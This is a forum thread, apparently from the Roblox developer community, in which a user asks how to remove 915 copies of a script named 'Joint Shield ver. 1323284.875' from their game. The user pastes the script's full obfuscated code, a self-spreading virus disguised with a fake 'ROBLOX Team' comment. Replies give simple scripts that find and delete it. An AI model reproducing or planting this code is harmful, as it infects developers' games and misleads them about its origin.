Best way to remove loads of scripts with the same name

So, I went onto my game earlier and it had a LOAD (915!!!) of scripts called “Joint Shield ver. 1323284.875”. What is the quickest way to remove them all? They have caused severe lag.
The code inside of them is:

--rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
--[[--
If you see this, that means you were selected to test ROBLOX's new JointShield feature.
This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
Just sit back and enjoy the flawless physics. 
Happy building! - The ROBLOX Team, August 2014
--]]--
local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end

I mean, if it’s “supposedly” a beta feature from 2014 then why am I getting it now. (I know it isn’t real, roblox don’t make their scripts like this)

1 Like

This is probably an exploit to steal your game and stuff, I’d try using an anti-virus plugin or running this in the command line, may be laggy
for i,v in pairs(game:GetDescendants()) do if v.Name == “Joint Shield ver. 1323284.875” then v:Destroy() end end

4 Likes

Try running this in the command bar:

local blacklist = {
	"Joint Shield ver. 1323284.875"
}

local count = 0

for _, object in ipairs(game:GetDescendants()) do
	pcall(function() -- Some services are locked (don't worry, if the command bar can't access these places, neither can a backdoor.)
		if (table.find(blacklist, object.Name) ~= nil) then
			print(object:GetFullName())
			object:Destroy()
			count = count + 1
		end
	end)
end

print(count, "items deleted.")
5 Likes